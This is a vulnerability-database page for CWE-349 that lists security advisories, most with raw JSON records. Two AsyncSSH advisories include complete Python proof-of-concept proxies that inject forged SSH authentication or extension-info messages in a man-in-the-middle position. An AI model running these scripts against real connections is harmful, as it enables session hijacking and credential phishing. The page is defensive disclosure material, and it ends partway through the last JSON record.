Common Weakness Enumeration
CWE-349
AllowedAcceptance of Extraneous Untrusted Data With Trusted Data
Abstraction: Base · Status: Draft
The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.
82 vulnerabilities reference this CWE, most recent first.
GHSA-9G25-JR9M-X4JH
Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-09 18:30
VLAI
Details
No cwe for this issue in Windows DHCP Server allows an unauthorized attacker to perform tampering over a network.
Severity
9.1 (Critical)
{
"affected": [],
"aliases": [
"CVE-2026-45602"
],
"database_specific": {
"cwe_ids": [
"CWE-229",
"CWE-349"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T17:17:28Z",
"severity": "CRITICAL"
},
"details": "No cwe for this issue in Windows DHCP Server allows an unauthorized attacker to perform tampering over a network.",
"id": "GHSA-9g25-jr9m-x4jh",
"modified": "2026-06-09T18:30:52Z",
"published": "2026-06-09T18:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45602"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9R8M-73H4-4JCM
Vulnerability from github – Published: 2023-08-03 21:30 – Updated: 2024-04-04 06:32
VLAI
Details
A local user could edit the VideoEdge configuration file and interfere with VideoEdge operation.
Severity
7.1 (High)
{
"affected": [],
"aliases": [
"CVE-2023-3749"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-349"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-03T20:15:11Z",
"severity": "MODERATE"
},
"details": "A local user could edit the VideoEdge configuration file and interfere with VideoEdge operation.",
"id": "GHSA-9r8m-73h4-4jcm",
"modified": "2024-04-04T06:32:22Z",
"published": "2023-08-03T21:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3749"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-215-04"
},
{
"type": "WEB",
"url": "https://www.johnsoncontrols.com/cyber-solutions/security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C35Q-FFPF-5QPM
Vulnerability from github – Published: 2023-11-09 18:35 – Updated: 2025-11-04 16:47
VLAI
Summary
AsyncSSH Rogue Session Attack
Details
Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.
Details
The rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker's account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user's session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker's position to a MitM at the application layer and enabling perfect shell emulation.
The attacks work by the attacker injecting a chosen authentication request before the client's NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.
PoC
AsyncSSH 2.14.0 client (simple_client.py example) connecting to AsyncSSH 2.14.0 server (simple_server.py example) ```python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify from time import sleep ################################################################################## ## Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ## ## ## ## Variant: Unmodified variant (EXT_INFO by client required) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ################################################################################## # IP and port for the TCP proxy to bind to PROXY_IP = '127.0.0.1' PROXY_PORT = 2222 # IP and port of the server SERVER_IP = '127.0.0.1' SERVER_PORT = 22 # Length of the individual messages NEW_KEYS_LENGTH = 16 CLIENT_EXT_INFO_LENGTH = 60 # Additional data sent by the client after NEW_KEYS (excluding EXT_INFO) ADDITIONAL_CLIENT_DATA_LENGTH = 60 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15' def contains_newkeys(data): return newkeys_payload in data rogue_userauth_request = unhexlify('000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000') def insert_rogue_authentication_request(data): newkeys_index = data.index(newkeys_payload) # Insert rogue authentication request and remove SSH_MSG_EXT_INFO return data[:newkeys_index] + rogue_userauth_request + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH:] def forward_client_to_server(client_socket, server_socket): delay_next = False try: while True: client_data = client_socket.recv(4096) if delay_next: delay_next = False sleep(0.25) if contains_newkeys(client_data): print("[+] SSH_MSG_NEWKEYS sent by client identified!") if len(client_data) < NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH: print("[+] client_data does not contain all messages sent by the client yet. Receiving additional bytes until we have 156 bytes buffered!") while len(client_data) < NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH: client_data += client_socket.recv(4096) print(f"[d] Original client_data before modification: {client_data.hex()}") client_data = insert_rogue_authentication_request(client_data) print(f"[d] Modified client_data with rogue authentication request: {client_data.hex()}") delay_next = True if len(client_data) == 0: break server_socket.send(client_data) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forward_client_to_server thread ran out of data, closing sockets!") client_socket.close() server_socket.close() def forward_server_to_client(client_socket, server_socket): try: while True: server_data = server_socket.recv(4096) if len(server_data) == 0: break client_socket.send(server_data) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forward_server_to_client thread ran out of data, closing sockets!") client_socket.close() server_socket.close() if __name__ == '__main__': print("--- Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ---") mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.bind((PROXY_IP, PROXY_PORT)) mitm_socket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...") try: while True: client_socket, client_addr = mitm_socket.accept() print(f"[+] Accepted connection from: {client_addr}") print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.") server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.connect((SERVER_IP, SERVER_PORT)) print("[+] Spawning new forwarding threads to handle client connection.") Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start() Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start() except KeyboardInterrupt: client_socket.close() server_socket.close() mitm_socket.close() ```Impact
The impact heavily depends on the application logic implemented by the AsyncSSH server. In the worst case, the AsyncSSH server starts a shell for the authenticated user upon connection, switching the user to the authenticated one. In this case, the attacker can prepare a modified shell beforehand to perform perfect phishing attacks and become a MitM at the application layer. When the username of the authenticated user is not used beyond authentication, this vulnerability does not impact the connection's security.
Severity
8.1 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "asyncssh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46446"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-349",
"CWE-354",
"CWE-359",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-09T18:35:14Z",
"nvd_published_at": "2023-11-14T03:15:09Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.\n\n### Details\n\nThe rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker\u0027s account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user\u0027s session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker\u0027s position to a MitM at the application layer and enabling perfect shell emulation.\n\nThe attacks work by the attacker injecting a chosen authentication request before the client\u0027s NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.\n\n### PoC\n\n\u003cdetails\u003e\n \u003csummary\u003eAsyncSSH 2.14.0 client (simple_client.py example) connecting to AsyncSSH 2.14.0 server (simple_server.py example)\u003c/summary\u003e\n\n ```python\n #!/usr/bin/python3\n import socket\n from threading import Thread\n from binascii import unhexlify\n from time import sleep\n \n ##################################################################################\n ## Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ##\n ## ##\n ## Variant: Unmodified variant (EXT_INFO by client required) ##\n ## ##\n ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ##\n ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ##\n ## ##\n ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##\n ##################################################################################\n \n # IP and port for the TCP proxy to bind to\n PROXY_IP = \u0027127.0.0.1\u0027\n PROXY_PORT = 2222\n \n # IP and port of the server\n SERVER_IP = \u0027127.0.0.1\u0027\n SERVER_PORT = 22\n \n # Length of the individual messages\n NEW_KEYS_LENGTH = 16\n CLIENT_EXT_INFO_LENGTH = 60\n # Additional data sent by the client after NEW_KEYS (excluding EXT_INFO)\n ADDITIONAL_CLIENT_DATA_LENGTH = 60\n \n newkeys_payload = b\u0027\\x00\\x00\\x00\\x0c\\x0a\\x15\u0027\n def contains_newkeys(data):\n return newkeys_payload in data\n \n rogue_userauth_request = unhexlify(\u0027000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000\u0027)\n def insert_rogue_authentication_request(data):\n newkeys_index = data.index(newkeys_payload)\n # Insert rogue authentication request and remove SSH_MSG_EXT_INFO\n return data[:newkeys_index] + rogue_userauth_request + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH:]\n \n def forward_client_to_server(client_socket, server_socket):\n delay_next = False\n try:\n while True:\n client_data = client_socket.recv(4096)\n if delay_next:\n delay_next = False\n sleep(0.25)\n if contains_newkeys(client_data):\n print(\"[+] SSH_MSG_NEWKEYS sent by client identified!\")\n if len(client_data) \u003c NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH:\n print(\"[+] client_data does not contain all messages sent by the client yet. Receiving additional bytes until we have 156 bytes buffered!\")\n while len(client_data) \u003c NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH:\n client_data += client_socket.recv(4096)\n print(f\"[d] Original client_data before modification: {client_data.hex()}\")\n client_data = insert_rogue_authentication_request(client_data)\n print(f\"[d] Modified client_data with rogue authentication request: {client_data.hex()}\")\n delay_next = True\n if len(client_data) == 0:\n break\n server_socket.send(client_data)\n except ConnectionResetError:\n print(\"[!] Client connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n def forward_server_to_client(client_socket, server_socket):\n try:\n while True:\n server_data = server_socket.recv(4096)\n if len(server_data) == 0:\n break\n client_socket.send(server_data)\n except ConnectionResetError:\n print(\"[!] Target connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n if __name__ == \u0027__main__\u0027:\n print(\"--- Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ---\")\n mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n mitm_socket.bind((PROXY_IP, PROXY_PORT))\n mitm_socket.listen(5)\n \n print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n \n try:\n while True:\n client_socket, client_addr = mitm_socket.accept()\n print(f\"[+] Accepted connection from: {client_addr}\")\n print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server_socket.connect((SERVER_IP, SERVER_PORT))\n print(\"[+] Spawning new forwarding threads to handle client connection.\")\n Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n except KeyboardInterrupt:\n client_socket.close()\n server_socket.close()\n mitm_socket.close()\n ```\n\u003c/details\u003e\n\n### Impact\n\nThe impact heavily depends on the application logic implemented by the AsyncSSH server. In the worst case, the AsyncSSH server starts a shell for the authenticated user upon connection, switching the user to the authenticated one. In this case, the attacker can prepare a modified shell beforehand to perform perfect phishing attacks and become a MitM at the application layer. When the username of the authenticated user is not used beyond authentication, this vulnerability does not impact the connection\u0027s security.",
"id": "GHSA-c35q-ffpf-5qpm",
"modified": "2025-11-04T16:47:15Z",
"published": "2023-11-09T18:35:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-c35q-ffpf-5qpm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46446"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-c35q-ffpf-5qpm"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-239.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/ronf/asyncssh"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20231222-0001"
},
{
"type": "WEB",
"url": "https://www.terrapin-attack.com"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "AsyncSSH Rogue Session Attack"
}
GHSA-CFC2-WR2V-GXM5
Vulnerability from github – Published: 2023-11-09 18:34 – Updated: 2025-11-04 16:46
VLAI
Summary
AsyncSSH Rogue Extension Negotiation
Details
Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.
Details
The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.
A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).
PoC
AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example) ```python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify ##################################################################################### ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ##################################################################################### # IP and port for the TCP proxy to bind to PROXY_IP = '127.0.0.1' PROXY_PORT = 2222 # IP and port of the server SERVER_IP = '127.0.0.1' SERVER_PORT = 22 # Length of the individual messages NEW_KEYS_LENGTH = 16 SERVER_EXT_INFO_LENGTH = 676 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15' def contains_newkeys(data): return newkeys_payload in data # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs rogue_ext_info = unhexlify('0000000C060700000000000000000000') def insert_rogue_ext_info(data): newkeys_index = data.index(newkeys_payload) # Insert rogue extension info and remove SSH_MSG_EXT_INFO return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:] def forward_client_to_server(client_socket, server_socket): try: while True: client_data = client_socket.recv(4096) if len(client_data) == 0: break server_socket.send(client_data) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forward_client_to_server thread ran out of data, closing sockets!") client_socket.close() server_socket.close() def forward_server_to_client(client_socket, server_socket): try: while True: server_data = server_socket.recv(4096) if contains_newkeys(server_data): print("[+] SSH_MSG_NEWKEYS sent by server identified!") if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!") while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: server_data += server_socket.recv(4096) print(f"[d] Original server_data before modification: {server_data.hex()}") server_data = insert_rogue_ext_info(server_data) print(f"[d] Modified server_data with rogue extension info: {server_data.hex()}") if len(server_data) == 0: break client_socket.send(server_data) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forward_server_to_client thread ran out of data, closing sockets!") client_socket.close() server_socket.close() if __name__ == '__main__': print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---") mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.bind((PROXY_IP, PROXY_PORT)) mitm_socket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...") try: while True: client_socket, client_addr = mitm_socket.accept() print(f"[+] Accepted connection from: {client_addr}") print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.") server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.connect((SERVER_IP, SERVER_PORT)) print("[+] Spawning new forwarding threads to handle client connection.") Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start() Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start() except KeyboardInterrupt: client_socket.close() server_socket.close() mitm_socket.close() ```Impact
Algorithm downgrade during user authentication.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "asyncssh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46445"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-349",
"CWE-354"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-09T18:34:53Z",
"nvd_published_at": "2023-11-14T03:15:09Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.\n\n### Details\n\nThe rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.\n\nA correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).\n\n### PoC\n\n\u003cdetails\u003e\n \u003csummary\u003eAsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)\u003c/summary\u003e\n\n ```python\n #!/usr/bin/python3\n import socket\n from threading import Thread\n from binascii import unhexlify\n \n #####################################################################################\n ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##\n ## ##\n ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ##\n ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ##\n ## ##\n ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##\n #####################################################################################\n \n # IP and port for the TCP proxy to bind to\n PROXY_IP = \u0027127.0.0.1\u0027\n PROXY_PORT = 2222\n \n # IP and port of the server\n SERVER_IP = \u0027127.0.0.1\u0027\n SERVER_PORT = 22\n \n # Length of the individual messages\n NEW_KEYS_LENGTH = 16\n SERVER_EXT_INFO_LENGTH = 676\n \n newkeys_payload = b\u0027\\x00\\x00\\x00\\x0c\\x0a\\x15\u0027\n def contains_newkeys(data):\n return newkeys_payload in data\n \n # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs\n rogue_ext_info = unhexlify(\u00270000000C060700000000000000000000\u0027)\n def insert_rogue_ext_info(data):\n newkeys_index = data.index(newkeys_payload)\n # Insert rogue extension info and remove SSH_MSG_EXT_INFO\n return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]\n \n def forward_client_to_server(client_socket, server_socket):\n try:\n while True:\n client_data = client_socket.recv(4096)\n if len(client_data) == 0:\n break\n server_socket.send(client_data)\n except ConnectionResetError:\n print(\"[!] Client connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n def forward_server_to_client(client_socket, server_socket):\n try:\n while True:\n server_data = server_socket.recv(4096)\n if contains_newkeys(server_data):\n print(\"[+] SSH_MSG_NEWKEYS sent by server identified!\")\n if len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n print(\"[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!\")\n while len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n server_data += server_socket.recv(4096)\n print(f\"[d] Original server_data before modification: {server_data.hex()}\")\n server_data = insert_rogue_ext_info(server_data)\n print(f\"[d] Modified server_data with rogue extension info: {server_data.hex()}\")\n if len(server_data) == 0:\n break\n client_socket.send(server_data)\n except ConnectionResetError:\n print(\"[!] Target connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n if __name__ == \u0027__main__\u0027:\n print(\"--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---\")\n mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n mitm_socket.bind((PROXY_IP, PROXY_PORT))\n mitm_socket.listen(5)\n \n print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n \n try:\n while True:\n client_socket, client_addr = mitm_socket.accept()\n print(f\"[+] Accepted connection from: {client_addr}\")\n print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server_socket.connect((SERVER_IP, SERVER_PORT))\n print(\"[+] Spawning new forwarding threads to handle client connection.\")\n Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n except KeyboardInterrupt:\n client_socket.close()\n server_socket.close()\n mitm_socket.close()\n ```\n\u003c/details\u003e\n\n### Impact\n\nAlgorithm downgrade during user authentication.",
"id": "GHSA-cfc2-wr2v-gxm5",
"modified": "2025-11-04T16:46:51Z",
"published": "2023-11-09T18:34:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46445"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-cfc2-wr2v-gxm5"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-237.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/ronf/asyncssh"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20231222-0001"
},
{
"type": "WEB",
"url": "https://www.terrapin-attack.com"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AsyncSSH Rogue Extension Negotiation"
}
GHSA-CFXW-4H78-H7FW
Vulnerability from github – Published: 2024-07-22 14:33 – Updated: 2024-09-04 14:24
VLAI
Summary
DNSJava DNSSEC Bypass
Details
Summary
Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones.
Details
DNS Messages are not authenticated. They do not guarantee that
- received RRs are authentic
- not received RRs do not exist
- all or any received records in a response relate to the request
Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!)
- denote by
QNAMEthe name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases - if the ANSWER section contains a valid PTR RRSet for
QNAME, return it (and optionally return the list of aliases as well) - if the ANSWER section contains a valid CNAME RRSet for
QNAME, add it to the list of aliases. SetQNAMEto the CNAME's target and go to 2. - Verify that
QNAMEdoes not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Returnnull.
Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic.
dnsjava does not implement a comparable algorithm, and the provided APIs instead return either
- the received DNS message itself (e.g. when using a ValidatingResolver such as in this example), or
- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in this example)
If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can
- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or
- completely exchange the relevant response records
Impact
DNS(SEC) libraries are usually used as part of a larger security framework. Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. Here are three concrete examples of where this might be detrimental:
- RFC 6186 specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials.
- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic.
- Some research projects like LIGHTest are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications.
Mitigations
At this point, the following mitigations are recommended:
- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...).
- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g.
LookupSession.lookupAsync. - Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "dnsjava:dnsjava"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-25638"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-349"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-22T14:33:41Z",
"nvd_published_at": "2024-07-22T14:15:04Z",
"severity": "HIGH"
},
